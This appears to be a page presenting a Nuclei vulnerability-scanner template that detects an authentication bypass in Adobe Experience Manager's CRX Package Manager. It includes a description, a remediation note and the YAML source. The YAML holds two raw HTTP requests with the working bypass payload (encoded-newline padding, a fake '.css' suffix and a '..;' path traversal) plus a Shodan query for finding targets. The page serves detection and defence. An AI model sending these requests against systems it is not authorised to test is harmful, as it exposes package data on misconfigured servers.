AEM Package Manager - Authentication Bypass

ID: aem-crx-bypass

Severity: critical

Author: dhiyaneshDK

Tags: aem,adobe,misconfig

Description

Adobe Experience Manager Package Manager is susceptible to a hard to exploit authentication bypass issue. This issue only potentially impacts AEM on-premise or AEM as a Managed Service if default security configurations are removed.

YAML Source

id: aem-crx-bypass

info:
  name: AEM Package Manager - Authentication Bypass
  author: dhiyaneshDK
  severity: critical
  description: Adobe Experience Manager Package Manager is susceptible to a hard to exploit authentication bypass issue. This issue only potentially impacts AEM on-premise or AEM as a Managed Service if default security configurations are removed.
  remediation: "Adobe recommends AEM customers review access controls for the CRX package manager path: /etc/packages."
  reference:
    - https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/
  classification:
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: adobe
    product: experience_manager
    shodan-query: http.component:"Adobe Experience Manager"
  tags: aem,adobe,misconfig

http:
  - raw:
      - |
        GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Accept-Encoding: gzip, deflate
      - |
        GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Accept-Encoding: gzip, deflate

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'buildCount'
          - 'downloadName'
          - 'acHandling'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a00463044022017f9403531d7e56e3cd7ab0da8d32a82c659dfd08ad2681c091d02a305876c9102206455405bce4f189dcfa76451b187d7936d5683f3104e127cc4b5dc22c1a6b8df:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/misconfiguration/aem/aem-crx-bypass.yaml"

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